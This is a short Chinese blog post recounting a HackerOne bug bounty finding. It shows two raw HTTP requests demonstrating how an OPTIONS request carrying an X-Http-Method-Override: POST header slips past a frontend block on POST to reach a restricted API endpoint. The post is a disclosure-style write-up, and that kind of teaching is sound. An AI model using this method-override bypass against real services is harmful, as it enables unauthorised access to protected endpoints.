白帽故事 · 2025年4月28日 0

通过 OPTIONS 请求+方法走私:HackerOne赏金案例解析

假如服务器对于 OPTIONS 的请求过于‘宽容’,会有怎样的惊喜呢?今天让我们来看一个 HackerOne 上的案例。

首先,某网站的端点的请求抓包如下:

POST /user/profile/exists HTTP/2
Host: api.[redacted].com
Authorization: Bearer <jwt>
Content-Type: application/json;charset=UTF-8

{"":""}

请求后的响应是 403 错误。

file

然后将 POST 请求方式修改为 OPTIONS ,并在请求中添加‘私货’,再次尝试:

OPTIONS /user/profile/exists HTTP/2
Host: api.[redacted].com
X-Http-Method-Override: POST
Authorization: Bearer <jwt>
Content-Type: application/json;charset=UTF-8

{"":""}

获得响应:

file

虽然前端禁止了 POST 请求,但却疏忽了 OPTIONS 请求,从而使攻击者可以成功绕过 POST 请求限制。

而这种‘疏忽’,却可以让攻击者:

利用被饶过的访问控制,使攻击者可以悄无声息地访问到本应禁止访问的端点

希望你能有所收获~

原文:https://ayushkr12.medium.com/smuggling-my-way-past-frontend-filters-a-fun-find-on-hackerone-4424dad3a16e